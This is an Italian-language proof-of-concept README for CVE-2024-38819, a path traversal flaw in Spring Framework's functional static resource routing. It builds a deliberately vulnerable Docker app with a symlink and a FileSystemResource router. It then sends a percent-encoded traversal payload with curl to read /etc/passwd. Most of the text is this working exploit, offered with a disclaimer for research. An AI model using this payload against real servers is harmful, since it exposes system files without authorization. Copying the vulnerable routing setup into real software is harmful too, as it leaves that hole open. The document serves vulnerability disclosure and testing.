
Questa è una proof of concept per la vulnerabilità CVE-2024-38819, da me segnalata, che dimostra uno sfruttamento di path traversal.
Costruisci l'immagine Docker (Spring Boot 3.3.4, basato su Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc .
Esegui il container ed esponi la porta 8080 alla macchina host
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
Esegui il seguente comando per lanciare il PoC e confermare la vulnerabilità
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Se l'attacco ha successo, verrà mostrato il contenuto del file /etc/passwd.
Crea PathTraversalDemoApplication.java con il seguente codice per configurare il routing di file statici usando RouterFunction e FileSystemResource:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Aggiungi il seguente comando al Dockerfile per creare un link simbolico:
RUN ln -s /static /app/static/link
Crea un payload che sfrutta la percent-encoding per attraversare le directory tramite il link simbolico.
/static/link/%2e%2e/etc/passwdUsa il seguente comando curl per eseguire il PoC e verificare se l'attacco ha successo:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Se l'attacco ha successo, verrà mostrato il contenuto del file /etc/passwd.
Questo PoC è fornito a scopo educativo e di ricerca sulla sicurezza. Prima di utilizzarlo su un sistema reale, assicurati che la vulnerabilità sia stata corretta e di avere la dovuta autorizzazione. L'autore non si assume alcuna responsabilità per un uso improprio di questo codice.